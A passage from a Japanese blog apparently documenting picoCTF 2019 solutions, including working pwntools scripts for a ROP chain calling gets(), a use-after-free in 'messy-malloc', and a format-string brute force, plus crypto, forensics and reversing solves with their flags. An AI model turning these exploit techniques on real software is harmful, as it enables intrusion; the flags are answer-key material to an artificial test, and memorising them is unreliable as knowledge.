payload += p32(disp_flag_addr)

print(payload)
print(b'(echo -e "' + payload + b'"; cat) | ./rop')

実行結果

$ python solve.py 
(中略)
b'(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08\x90\x86\x04\x08\xfd\x85\x04\x08\xb6\x88\x04\x08\xef\xbe\xad\xde\xb3\x86\x04\x08"; cat) | ./rop'

この命令を実行してみても、Segmentation faultで落ちてしまいます…。
何も出力がないということは、leap2()の呼び出し前に落ちてると思われるので、leap3()の途中の命令を呼び出している部分、payload += p32(turn_win3_true)の行をコメントアウトして、ちゃんと組めてるか確かめてみます。

実行結果

$ python solve.py 
(中略)
b'(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08\xfd\x85\x04\x08\xb6\x88\x04\x08\xef\xbe\xad\xde\xb3\x86\x04\x08"; cat) | ./rop'

これを実行してみると

(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08\xfd\x85\x04\x08\xb6\x88\x04\x08\xef\xbe\xad\xde\xb3\x86\x04\x08"; cat) | ./rop
Enter your input> Nope. Try a little bit harder.
Nice Try! You're Getting There!

おうおう。ちゃんとleap2()及びdisplay_flag()まで呼び出せてる && win1はtrueになっているようです。どうも先程のleap3()の途中を呼び出しているところがうまく返ってこれていない様子。。。

わからないのでpicoCTFの掲示板, Piazzaを見に行きました。なんかPIEが有効・無効の書き込みが多かったですが、これは競技中にPIEが有効だったものが無効のものに差し替わったみたい。
興味深いやり取りが。leap3()関数の条件が満たせないんですけど!の問に対して、

If you can jump anywhere u want then are you strategic enough to decide your jumping point? ;)

Leap frog works as expected.

~ An instructor (Daniel Tunitis) endorsed this answer ~

というインストラクターの答え。更にこれに対して、

But that will not work next leave/ret because ebp will be wrong. More setup is needed before jumping to the middle of win3. This is a pretty hard challenge.

というコメントが付いています。
最初のインストラクターのコメントは、先程考えた飛び方を示しているように見えるのですが、後者のコメントより、leap3()の最後leave -> retのところでebpが困ったことになってしまうようで、そのまま呼び出してもダメみたい。何がどうしてだめになっているかは [picoctf] Leapfrog | Fascinating Confusion に詳しく書いてありましたので紹介まで。

もう自力ではさっぱりわからないので、色々writeupを読んでみたところ、下記の2解法が見つかりました。

  • 基本的に上記の方針で、使える命令を探してwin3をtrueに書き換える
  • getsを使って win1,win2,win3trueに書き換える

今回は折角なので、このままの続きの流れでwin3だけ他の方法で書き換える解法と、getsを使う方法と両方をやってみようと思…ったんですけど、心折れたのでgetsの方のみにしました。

getsを使って win1~win3 を書き換えるパターン

各関数をradare2で覗いてみると、win1,2,3(いずれもglobal)は下記のアドレスであることがわかります。

win1: 0x0804a03d
win2: 0x0804a03e
win3: 0x0804a03f

また、今回vuln()関数の中で使われているgets()関数ですが、こんな仕様。

char *gets(char *s);
    パラメータ   説明
    char *s     データを格納するアドレス

ということで、gets()関数を、引数にwin1のアドレスを指定して呼び出すと、win1~3に好きな値を入れることができそう。
これを組むとこんな感じ。

0x18 + 0x4 | payload
       0x4 | address plt_gets()
       0x4 | address disp_flag()
       0x4 | address win1  # gets()の引数として
#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

gets_plt_addr = e.plt[b'gets']
win1_addr = e.symbols[b'win1']
disp_flag_addr = e.symbols[b'display_flag']

payload =  b'a' * (0x18 + 4)
payload += p32(gets_plt_addr)
payload += p32(disp_flag_addr)
payload += p32(win1_addr)

print(b'(echo -e "' + payload + b'"; cat) | ./rop')

実行結果

$ python solve2.py 
(中略)
b'(echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa0\x84\x04\x08\xb3\x86\x04\x08=\xa0\x04\x08"; cat) | ./rop'

これを picoCTF の shell server 上で実行してみます。

$ (echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaa0\x84\x04\x08\xb3\x86\x04\x08=\xa0\x04\x08"; cat) | ./rop
Enter your input> 111
picoCTF{h0p_r0p_t0p_y0uR_w4y_t0_v1ct0rY_0db32718}

途中で手作業が入りますが、111を入力するとflagが出力されました٩(๑❛ᴗ❛๑)尸
この方法は色々すぐに使えそう。

真面目に rop を組む解法は2つほどwriteupを見つけましたが、300ptの解き方なのかかなり疑問…。去年の 350pt 問題をちょっとひねったら700点問題になっちゃった感じが...。私がPwn苦手だからかな…。

参考にさせていただいたwriteup

ゴリゴリchainを組んでるっぽいやつ

getsを使って解いているやつ

↑あきらかにgetsを使って解いてるやつが多い。

picoCTFはヒントが親切でミスリードさせに来る感じじゃないと勝手に思ってるんだけど、今回のはどうなんだろう?NewOverflow2も、想定解法っぽいwriteup見つからなかったし。
そう言えば回収していない "mainをいつでも呼び出せるよ!" のヒントを使って解いた人いるのかな?

[Forensics] m00nwalk2 (300pt)

Revisit the last transmission. We think this transmission contains a hidden message. There are also some clues clue 1, clue 2, clue 3. You can also find the files in /problems/m00nwalk2_3_cb4b7c47a2855206a42ef71363613bce.

Hints

Use the clues to extract the another flag from the .wav file

m00nwalkを解いたら出てきました。

前回同様、message.wavと、今回は追加でclue1.wav,clue2.wav,clue3.wavが配布されます。

message.wav、耳で聞いた感じだと前回のと一緒。
実際同様にSSTV解析アプリででDecodeしてみても、同じような結果が得られました。

f:id:kusuwada:20191113121729j:plain

ヒントより、cluesを使って、別のflagを抽出しろとのこと。ふーむ?

重ねて再生するのかな?ということで全部を同時に再生してみましたが、SSTV解析アプリでうまく拾えません。 2つ重ねると拾ってくれたりしましたが、そもそも音声データの長さが異なります。

ならばと1音声ずつSSTV解析して画像に直してみましたが、これ重ねても何も出なさそうだな?

f:id:kusuwada:20191113121746p:plain

そう言えばそれぞれの受信を初めた時点で、アプリが下記のプロトコルだと認識していました。

  • massage: scottie1
  • clue1: martin1
  • clue2: scottie2
  • clue3: martin2

他のwriteupを見てみると、macは見つかりませんでしたが、linuxでも解析できるツールがあるみたいです。今回は qsstv を使ってみます。sstv decodeググると、上位に出てくるサイト https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04 を見ながら、上から順に設定していきます。ちなみにkali linuxでやりましたが、この手順で問題ありませんでした。

decode風景

f:id:kusuwada:20191113121836p:plain

decode結果

message.wav

f:id:kusuwada:20191113121852p:plain

clue1.wav

f:id:kusuwada:20191113121910p:plain

clue2.wav

f:id:kusuwada:20191113121920p:plain

clue3.wav

f:id:kusuwada:20191113121929p:plain

えー、めっちゃきれいに出るじゃん!しかも変換中に自分の出す音に気をつけなくてもいいし、最高。

最後のヒント

Alan Eliasen the FutureBoy

で検索すると、こんなページが見つかりました。
Alan Eliasen

f:id:kusuwada:20191113122016p:plain

ここの Steganography > Decode an image をたどると、Steganographic Decoder というサイトに。

f:id:kusuwada:20191113122059p:plain

オンラインでステガノ解析してくれるようです。clue1のpasswordを入れて、解析対象にmessage.wavを指定すると、しばらく解析したのちにflagが出てきました!

f:id:kusuwada:20191113122045p:plain

[Binary] messy-malloc (300pt)

Can you take advantage of misused malloc calls to leak the secret through this service and get the flag? Connect with nc 2019shell1.picoctf.com 12286. Source.

Hints

If only the program used calloc to zero out the memory..

実行ファイルauthと、ソースコードauth.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#define LINE_MAX 256
#define ACCESS_CODE_LEN 16
#define FLAG_SIZE 64

struct user {
  char *username;
  char access_code[ACCESS_CODE_LEN];
  char *files;
};

struct user anon_user;
struct user *u;

void print_flag() {
  char flag[FLAG_SIZE];
  FILE *f = fopen("flag.txt", "r");
  if (f == NULL) {
    printf("Please make sure flag.txt exists\n");
    exit(0);
  }

  if ((fgets(flag, FLAG_SIZE, f)) == NULL){
    puts("Couldn't read flag file.");
    exit(1);
  };

  unsigned long ac1 = ((unsigned long *)u->access_code)[0];
  unsigned long ac2 = ((unsigned long *)u->access_code)[1];
  if (ac1 != 0x4343415f544f4f52 || ac2 != 0x45444f435f535345) {
    fprintf(stdout, "Incorrect Access Code: \"");
    for (int i = 0; i < ACCESS_CODE_LEN; i++) {
      putchar(u->access_code[i]);
    }
    fprintf(stdout, "\"\n");
    return;
  }
  
  puts(flag);
  fclose(f);
}

void menu() {
  puts("Commands:");
  puts("\tlogin - login as a user");
  puts("\tprint-flag - print the flag");
  puts("\tlogout - log out");
  puts("\tquit - exit the program");
}
 
const char *get_username(struct user *u) {
  if (u->username == NULL) {
    return "anon";
  }
  else {
    return u->username;
  }
}

int login() {
  u = malloc(sizeof(struct user));

  int username_len;
  puts("Please enter the length of your username");
  scanf("%d", &username_len);
  getc(stdin);

  char *username = malloc(username_len+1);
  u->username = username;

  puts("Please enter your username");
  if (fgets(username, username_len, stdin) == NULL) {
    puts("fgets failed");
    exit(-1);
  }

  char *end;
  if ((end=strchr(username, '\n')) != NULL) {
    end[0] = '\0';
  }
  
  return 0;
  
}

int logout() {
  char *user = u->username;
  if (u == &anon_user) {
    return -1;
  }
  else {
    free(u);
    free(user);
    u = &anon_user;
  }
  return 0;
}

int main(int argc, char **argv) {

  setbuf(stdout, NULL);

  char buf[LINE_MAX];

  memset(anon_user.access_code, 0, ACCESS_CODE_LEN);
  anon_user.username = NULL;

  u = &anon_user;
  
  menu();

  while(1) {
    puts("\nEnter your command:");
    fprintf(stdout, "[%s]> ", get_username(u));

    if(fgets(buf, LINE_MAX, stdin) == NULL)
      break;

    if (!strncmp(buf, "login", 5)){
      login();
    }
    else if(!strncmp(buf, "print-flag", 10)){
      print_flag();
    }
    else if(!strncmp(buf, "logout", 6)){
      logout();
    }
    else if(!strncmp(buf, "quit", 4)){
      return 0;
    }
    else{
      puts("Invalid option");
      menu();
    }
  }
}

ちょっと動かしてみます。

$ ./auth 
Commands:
    login - login as a user
    print-flag - print the flag
    logout - log out
    quit - exit the program

Enter your command:
[anon]>

以下の4つの機能があるみたいです。

  • login
  • print-flag
  • logout
  • quit

まずはprint-flag関数を見てみます。

(略)
  unsigned long ac1 = ((unsigned long *)u->access_code)[0];
  unsigned long ac2 = ((unsigned long *)u->access_code)[1];
  if (ac1 != 0x4343415f544f4f52 || ac2 != 0x45444f435f535345) {
    fprintf(stdout, "Incorrect Access Code: \"");
    for (int i = 0; i < ACCESS_CODE_LEN; i++) {
      putchar(u->access_code[i]);
    }
    fprintf(stdout, "\"\n");
    return;
  }
  
  puts(flag);
  fclose(f);

なにやらaccess_codeというものが出てきています。これらが適切に設定されている必要があるみたいです。
これを設定する関数は用意されていないので、BufferOverflowとかを利用して無理くり設定してあげる必要がありそう。

残る関数のlogin()関数では、user領域をまずmallocし、username領域を別にmallocしています。usernameを入れる時にBufferOverflowが使えるかと思ったのですが、fgets()関数で、指定した長さ分のみ入力を受け付けるようになっているので、確保した領域以上には書き込みができなさそうです…。

ここで picoCTF2018 swordContacts を思い出します。同じような解法で解けそう!

最初の login 時に、自由に設定できるusernameuserの構造を作って突っ込んでおき、logout 時にusername領域が最後に開放されるようになっていると、次に login を実行した時にuser領域に最後に解放した領域が確保されるので、初期化されないaccess_code部分がそのまま使えるのでは?(User After Free)
と長い考察をした後、logout関数を見てみるとビンゴで、usernameが最後にfreeされるようになっています。
更にaccess_codeに当たる領域に上記のcheckをpassするような値を突っ込んでおけば、print-flagを実行するとflagを読み出してくれるはず…!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
from ctypes import *

host = '2019shell1.picoctf.com'
port = 12286

ACCESS_CODE_LEN = 16
ac1 = 0x4343415f544f4f52  # CCA_TOOR (in ascii)
ac2 = 0x45444f435f535345  # EDOC_SSE (in ascii)

context.log_level = 'info'

class user_s(Structure):
    _fields_ = [('username', c_char_p),
                ('access_code', c_long * 2), # filesは使用しないので、今回使う2までに短縮
                ('files', c_char_p)]

def create_user_s(name, acs):
    user = user_s()
    user.username = name
    user.access_code = (c_long * len(acs))(*acs)
    return user

def recv_menu():
    log.debug(r.recvuntil(b'> '))

def login(username_len, username):
    recv_menu()
    log.info(b'login: ' + (str(username_len)).encode() + b', ' + username)
    r.sendline(b'login')
    r.recvuntil(b'Please enter the length of your username')
    r.sendline((str(username_len)).encode())
    r.recvuntil(b'Please enter your username')
    r.sendline(username)
    recv_menu()

def print_flag():
    recv_menu()
    log.info('print-flag')
    r.sendline(b'print-flag')
    print(r.recvline())

def logout():
    recv_menu()
    log.info('logout')
    r.sendline(b'logout')

### prepare
target = ELF('./auth')
r = remote(host, port)

### create user struct
acs = [ac1, ac2]
user1 = create_user_s(0, acs)

### attack
login(sizeof(user1)+1, memoryview(user1).tobytes())
logout()
login(2, b'0') # てきとう
print_flag()

実行結果

$ python solve.py 
[*] '/picoCTF_2019/Binary/300_messy-malloc/auth'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled
[+] Opening connection to 2019shell1.picoctf.com on port 12286: Done
[*] b'login: 33, \x00\x00\x00\x00\x00\x00\x00\x00ROOT_ACCESS_CODE\x00\x00\x00\x00\x00\x00\x00\x00'
[*] logout
[*] b'login: 2, 0'
[*] print-flag
b'picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_8aa9bc45}\n'
[*] Closed connection to 2019shell1.picoctf.com port 12286

えー!!きれいにflag取れたよー!!!!!これ系の問題でノーヒント・ノー他のwriteupでflag取れたの初めてかも!!!!やったーーーーー。゚(゚´Д`゚)゚。

[Crypto] miniRSA (300pt)

Lets decrypt this: ciphertext? Something seems a bit small

下記の ciphertext が配布されます。

N: 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e: 3

ciphertext (c): 2205316413931134031074603746928247799030155221252519872650101242908540609117693035883827878696406295617513907962419726541451312273821810017858485722109359971259158071688912076249144203043097720816270550387459717116098817458584146690177125 

Something seems a bit small

とのことですが、e=3なので小さすぎる気がします。いつものスライド RSA暗号運用でやってはいけない n のこと #ssmjp のその6「eの値が小さすぎてはいけない」 より、Low Public Exponent Attackが使えそうです。

𝑛 が共に小さく( 𝑒 = 3など)、 𝑚^𝑒 < 𝑛 のとき、 𝑐 の 𝑒 乗根を計算することで m が求まる

とのことなので、ce 乗根を計算します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import gmpy2

e = 3
c = 2205316413931134031074603746928247799030155221252519872650101242908540609117693035883827878696406295617513907962419726541451312273821810017858485722109359971259158071688912076249144203043097720816270550387459717116098817458584146690177125 

m, result = gmpy2.iroot(c,e)
if result:
    flag = bytes.fromhex(hex(m)[2:]).decode('ascii')
    print(flag)

実行結果

$ python solve.py 
picoCTF{n33d_a_lArg3r_e_ff7cfba1}

Nなんていらんかったんや・・・

[General] mus1c (300pt)

I wrote you a song. Put it in the picoCTF{} flag format

Hints

Do you think you can master rockstar?

こんな歌詞っぽいのが書かれたファイルが落とせます。

Pico's a CTFFFFFFF
my mind is waitin
It's waitin

Put my mind of Pico into This
my flag is not found
put This into my flag
put my flag into Pico


shout Pico
shout Pico
shout Pico

My song's something
put Pico into This

Knock This down, down, down
put This into CTF

shout CTF
my lyric is nothing
Put This without my song into my lyric
Knock my lyric down, down, down

shout my lyric

Put my lyric into This
Put my song with This into my lyric
Knock my lyric down

shout my lyric

Build my lyric up, up ,up

shout my lyric
shout Pico
shout It

Pico CTF is fun
security is important
Fun is fun
Put security with fun into Pico CTF
Build Fun up
shout fun times Pico CTF
put fun times Pico CTF into my song

build it up

shout it
shout it

build it up, up
shout it
shout Pico

さっぱりわからんので、こういう時は迷わずヒントを見ます。rockstarをマスターした?rockstarとは何ぞ?

ぐぐってみるとこんな言語にたどり着きました。

github.com

うーん、COOOOOL!!!
KaiserRuby というrubyライブラリがあるようなのでインストールしてrubyに翻訳してみます。

github.com

$ gem install kaiser-ruby
$ gem install bundler
$ gem install pry
$ kaiser-ruby transpile lyrics.txt > output.rb

こんな出力になりました。

@pico = 19
@my_mind = 6
@my_mind = 6

@this = @my_mind * @pico
@my_flag = 35
@my_flag = @this
@pico = @my_flag


puts (@pico).to_s
puts (@pico).to_s
puts (@pico).to_s

@my_song = 9
@this = @pico

@this -= 3
@ctf = @this

puts (@ctf).to_s
@my_lyric = nil
@my_lyric = @this - @my_song
@my_lyric -= 3

puts (@my_lyric).to_s

@this = @my_lyric
@my_lyric = @my_song + @this
@my_lyric -= 1

puts (@my_lyric).to_s

@my_lyric += 3

puts (@my_lyric).to_s
puts (@pico).to_s
puts (@my_lyric).to_s

@pico_ctf = 3
@security = 9
@fun = 3
@pico_ctf = @security + @fun
@fun += 1
puts (@fun * @pico_ctf).to_s
@my_song = @fun * @pico_ctf

@my_song += 1

puts (@my_song).to_s
puts (@my_song).to_s

@my_song += 2
puts (@my_song).to_s
puts (@pico).to_s

実行してみるとこんな感じ。

$ ruby output.rb 
114
114
114
111
99
107
110
114
110
48
49
49
51
114

これをascii変換してやると、flag通りました!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

arr = [114, 114, 114, 111, 99, 107, 110, 114, 110, 48, 49, 49, 51, 114]

flag = ''
for n in arr:
    flag += chr(n)
print('picoCTF{' + flag + '}')

実行結果

$ python solve.py 
picoCTF{rrrocknrn0113r}

ロックンローラー!!!!whitespaceといい、これといい、面白い言語があるなぁ!

[Reversing] reverse_cipher (300pt)

We have recovered a binary and a text file. Can you reverse the flag. Its also found in /problems/reverse-cipher_0_b784b7d0e499d532eba7269bfdf6a21d on the shell server.

Hints

objdump and Gihdra are some tools that could assist with this

GhidraがpicoCTFにもおすすめされているっ!

バイナリファイルとテキストファイルが配布されます。テキストの方はこちら。

$ cat rev_this 
picoCTF{w1{1wq87g_9654g}

フラグじゃん!と思って入れてみますが、もちろん通りません。Ghidraで解析してみます。

f:id:kusuwada:20191012023847p:plain

decompileしてもらって結果を見てみます。変数名がわかりにくかったので変数名だけ書き換えるとこんな感じ。

void main(void)

{
  size_t len_str_flag;
  char flag [23];
  char len_target;
  int len_flag;
  FILE *f_target;
  FILE *f_flag;
  uint i;
  int i;
  char c;
  
  f_flag = fopen("f_flag.txt","r");
  f_target = fopen("rev_this","a");
  if (f_flag == (FILE *)0x0) {
    puts("No f_flag found, please make sure this is run on the server");
  }
  if (f_target == (FILE *)0x0) {
    puts("please run this on the server");
  }
  len_str_flag = fread(flag, 0x18, 1, f_flag);
  len_flag = (int)len_str_flag;
  if (len_flag < 1) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  i = 0;
  while (i < 8) {
    c = flag[(long)i];
    fputc((int)c,f_target);
    i = i + 1;
  }
  i = 8;
  while ((int)i < 0x17) { // 0x17 = 23d
    if ((i & 1) == 0) {
      c = flag[(long)(int)i] + '\x05';
    }
    else {
      c = flag[(long)(int)i] + -2;
    }
    fputc((int)c,f_target);
    i = i + 1;
  }
  c = len_target;
  fputc((int)len_target,f_target);
  fclose(f_target);
  fclose(f_flag);
  return;
}

flag.txtの8文字目以降が、-2もしくは+5されて、rev_this.txtに書かれたようです。
逆変換してあげます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

rev_this = 'picoCTF{w1{1wq87g_9654g}'
flag = 'picoCTF{'

for i in range(8, len(rev_this)-1):
    if (i & 1) == 0:
        flag += chr(ord(rev_this[i])-5)
    else:
        flag += chr(ord(rev_this[i]) + 2)
print(flag + '}')

実行結果

$ python solve.py 
picoCTF{r3v3rs39ba4806b}

[Forensics] shark on wire 2 (300pt)

We found this packet capture. Recover the flag that was pilfered from the network. You can also find the file in /problems/shark-on-wire-2_0_3e92bfbdb2f6d0e25b8d019453fdbf07.

またpcapファイルが落ちてくるので、wiresharkで開いてみます。

f:id:kusuwada:20191012023922p:plain

今回は1300行くらい。前回の半分です。でも多い…。手始めに、前回同様すべての通信をtextで書き出してみます。

f:id:kusuwada:20191012023939p:plain

前回(shark on wire 1)と同じ方法でflagを得ようとすると、not a flag 的なのが入手できます。これじゃないみたい。
UDPの通信を抽出して眺めていると、start, end という文字列が目に入りました。

f:id:kusuwada:20191012024015p:plain

その間のUDP通信は、データがaaaaaとかBBBBBとかなのでデータ部分はflagにはなりそうにありません。1件ずつボーッと眺めていくと、どうもSrc Portのバリエーションが多すぎる気がします。一方、Dst Port22,100,80,1234の4つくらいのバリエーションです。

Src Portを追っていくと、

5112
5105
5099
5111
...

...!!これは見たことある数値の並び!
112はasciiに直すとp,105i, 99c, 111oじゃないですか!

ということで、試行錯誤の結果、下記のフィルタ(wireshark)で取得できた通信のSrc Portの下三桁をasciiに変換してあげるとflagになりました。

udp.port == 22

私はここで得られたフィルタされた通信のリストをTextで書き出し、テキストエディタで整形・抽出して下記のスクリプトのinputを作っています。が、使いこなしていればwiresharkだけで出来たりするのかな?

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

ports = [112 ,105 ,99 ,111 ,67 ,84 ,70 ,123 ,112 ,49 ,76 ,76 ,102 ,51 ,114 ,51 ,100 ,95 ,100 ,97 ,116 ,97 ,95 ,118 ,49 ,97 ,95 ,115 ,116 ,51 ,103 ,48 ,125]

flag = ''
for p in ports:
    flag += chr(p)
print(flag)

実行結果

$ python solve.py 
picoCTF{p1LLf3r3d_data_v1a_st3g0}

[Binary] stringzz (300pt)

Use a format string to pwn this program and get a flag. Its also found in /problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010 on the shell server. Source.

実行ファイルvulnと、ソースコードvuln.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAG_BUFFER 128
#define LINE_BUFFER_SIZE 2000

void printMessage3(char *in)
{
  puts("will be printed:\n");
  printf(in);
}
void printMessage2(char *in)
{
  puts("your input ");
  printMessage3(in);
}

void printMessage1(char *in)
{
  puts("Now ");
  printMessage2(in);
}

int main (int argc, char **argv)
{
    puts("input whatever string you want; then it will be printed back:\n");
    int read;
    unsigned int len;
    char *input = NULL;
    getline(&input, &len, stdin);
    //There is no win function, but the flag is wandering in the memory!
    char * buf = malloc(sizeof(char)*FLAG_BUFFER);
    FILE *f = fopen("flag.txt","r");
    fgets(buf,FLAG_BUFFER,f);
    printMessage1(input);
    fflush(stdout);
 
}

タイトルからして、format string 攻撃の予感です。
試しに %08xを送ってみると、明らかに刺さっています!

$ ./vuln 
input whatever string you want; then it will be printed back:

%08x%08x%08x%08x%08x%08x%08x%08x
Now 
your input 
will be printed:

0000000af7e1236b565946f9f7f8000056595fb4ffbc5b085659475556a5c570

似た問題が picoCTF2018 echooo に出ていました。結局解法が全く一緒だったので、詳細な解説はこちらを参照。今回は使ったスクリプトのみ紹介。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

# picoCTF の shell serverに接続
print('picoCTF shell server login')
print('name:')
pico_name = input('>>')
print('password')
pico_pass = input('>>')
pico_ssh = ssh(host = '2019shell1.picoctf.com', user=pico_name, password=pico_pass)
pico_ssh.set_working_directory('/problems/stringzz_6_5f0e31bfd7b9a7c6a32d22b6d57e9010')

for i in range(1000):
    print('index: ' + str(i))
    attack_msg = b'%%%d$s' % i
    p = pico_ssh.process('./vuln')
    p.recvuntil(b'then it will be printed back:\n\n')
    p.sendline(attack_msg)
    p.recvuntil(b'Now \nyour input \nwill be printed:\n\n')
    res = ''
    try:
        res = p.recv().decode()
        print('decoded: ' + res)
    except:
        print('can not decode res message.')
    finally:
        p.close()
    if 'picoCTF' in res:
        break

実行結果

$ python solve.py
(中略)
index: 37
[+] Opening new channel: execve(b'./vuln', [b'./vuln'], os.environ): Done
decoded: picoCTF{str1nG_CH3353_0814bc7c}

37番目に出てきました。

[Reversing] vault-door-5 (300pt)

In the last challenge, you mastered octal (base 8), decimal (base 10), and hexadecimal (base 16) numbers, but this vault door uses a different change of base as well as URL encoding! The source code for this vault is here: VaultDoor5.java

またしてもjavaファイルが配布されます。

import java.net.URLDecoder;
import java.util.*;

class VaultDoor5 {
    public static void main(String args[]) {
        VaultDoor5 vaultDoor = new VaultDoor5();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
        }
    }

    // Minion #7781 used base 8 and base 16, but this is base 64, which is
    // like... eight times stronger, right? Riiigghtt? Well that's what my twin
    // brother Minion #2415 says, anyway.
    //
    // -Minion #2414
    public String base64Encode(byte[] input) {
        return Base64.getEncoder().encodeToString(input);
    }

    // URL encoding is meant for web pages, so any double agent spies who steal
    // our source code will think this is a web site or something, defintely not
    // vault door! Oh wait, should I have not said that in a source code
    // comment?
    //
    // -Minion #2415
    public String urlEncode(byte[] input) {
        StringBuffer buf = new StringBuffer();
        for (int i=0; i<input.length; i++) {
            buf.append(String.format("%%%2x", input[i]));
        }
        return buf.toString();
    }

    public boolean checkPassword(String password) {
        String urlEncoded = urlEncode(password.getBytes());
        String base64Encoded = base64Encode(urlEncoded.getBytes());
        String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
                        + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
                        + "JTM0JTVmJTY0JTYxJTM4JTM4JTMyJTY0JTMwJTMx";
        return base64Encoded.equals(expected);
    }
}

ソースコード中のコメントを見ると、base64を使っているそうです。base8に比べたら8倍強いんでしょ?だって(゚ノ∀`゚)゚
urlエンコードの行のコメントも秀逸。

今回もcheckPasswird関数を見ていきます。base64Encode(urlEncoded.getBytes())舌文字列が、expectedと同じかどうかをチェックしているので、expectedの文字列をbase64 decode -> url decodeしてあげれば良さそう。今回もオンラインサイトで。

実行結果

base64 decode: %63%30%6e%76%33%72%74%31%6e%67%5f%66%72%30%6d%5f%62%61%35%65%5f%36%34%5f%64%61%38%38%32%64%30%31
url encode: c0nv3rt1ng_fr0m_ba5e_64_da882d01

url encode結果がflagの中身。

[Crypto] waves over lambda (300pt)

We made alot of substitutions to encrypt this. Can you decrypt it? Connect with nc 2019shell1.picoctf.com 37925.

指定のホストに接続してみます。

$ nc 2019shell1.picoctf.com 37925
-------------------------------------------------------------------------------
jchuwrzm niwi dm lctw oqru - owigtihjl_dm_j_ceiw_qrfyar_frwmykxcxw
-------------------------------------------------------------------------------
nredhu nra mcfi zdfi rz fl admxcmrq knih dh qchach, d nra edmdzia zni ywdzdmn ftmitf, rha frai mirwjn rfchu zni yccpm rha frxm dh zni qdywrwl wiurwadhu zwrhmlqerhdr; dz nra mzwtjp fi znrz mcfi ocwiphckqiaui co zni jcthzwl jctqa nrwaql ordq zc nrei mcfi dfxcwzrhji dh airqdhu kdzn r hcyqifrh co znrz jcthzwl. d odha znrz zni admzwdjz ni hrfia dm dh zni iszwifi irmz co zni jcthzwl, vtmz ch zni ycwaiwm co znwii mzrzim, zwrhmlqerhdr, fcqaredr rha ytpcedhr, dh zni fdamz co zni jrwxrzndrh fcthzrdhm; chi co zni kdqaimz rha qirmz phckh xcwzdchm co itwcxi. d krm hcz ryqi zc qdunz ch rhl frx cw kcwp udedhu zni isrjz qcjrqdzl co zni jrmzqi awrjtqr, rm zniwi rwi hc frxm co zndm jcthzwl rm liz zc jcfxrwi kdzn ctw ckh cwahrhji mtweil frxm; ytz d octha znrz ydmzwdzb, zni xcmz zckh hrfia yl jcthz awrjtqr, dm r ordwql kiqq-phckh xqrji. d mnrqq ihziw niwi mcfi co fl hczim, rm znil frl wiowimn fl fifcwl knih d zrqp ceiw fl zwreiqm kdzn fdhr.

おお、これも換字暗号っぽい!いつも気合で解くやつだ。ツールも探せばありそうだけど、せっかくなので気合で解いてみます。
頻度分析 (暗号) - Wikipedia このページなんかをいつも参考にしています。

まず、一文字の単語は Ia, 出現頻度の高い3文字の単語はtheの可能性が高いです。

d -> I
r -> A
z -> T
n -> H
i -> E

ここまで変換したところで、

HEwE, THEwE, THwEE が見つかるので,

w -> R

この調子で変換していきます。

f -> M
a -> D
l -> Y
c -> O
h -> N
e -> V
u -> G
m -> S
q -> L
o -> F
j -> C
t -> U
g -> Q
y -> B
p -> K
x -> P
k -> W
s -> X
v -> J
b -> Z

最終的にこんな文章が出てきました。

-------------------------------------------------------------------------------
CONGRATS HERE IS YOUR FLAG - FREQUENCY_IS_C_OVER_LAMBDA_MARSBWPOPR
-------------------------------------------------------------------------------
HAVING HAD SOME TIME AT MY DISPOSAL WHEN IN LONDON, I HAD VISITED THE BRITISH MUSEUM, AND MADE SEARCH AMONG THE BOOKS AND MAPS IN THE LIBRARY REGARDING TRANSYLVANIA; IT HAD STRUCK ME THAT SOME FOREKNOWLEDGE OF THE COUNTRY COULD HARDLY FAIL TO HAVE SOME IMPORTANCE IN DEALING WITH A NOBLEMAN OF THAT COUNTRY. I FIND THAT THE DISTRICT HE NAMED IS IN THE EXTREME EAST OF THE COUNTRY, JUST ON THE BORDERS OF THREE STATES, TRANSYLVANIA, MOLDAVIA AND BUKOVINA, IN THE MIDST OF THE CARPATHIAN MOUNTAINS; ONE OF THE WILDEST AND LEAST KNOWN PORTIONS OF EUROPE. I WAS NOT ABLE TO LIGHT ON ANY MAP OR WORK GIVING THE EXACT LOCALITY OF THE CASTLE DRACULA, AS THERE ARE NO MAPS OF THIS COUNTRY AS YET TO COMPARE WITH OUR OWN ORDNANCE SURVEY MAPS; BUT I FOUND THAT BISTRITZ, THE POST TOWN NAMED BY COUNT DRACULA, IS A FAIRLY WELL-KNOWN PLACE. I SHALL ENTER HERE SOME OF 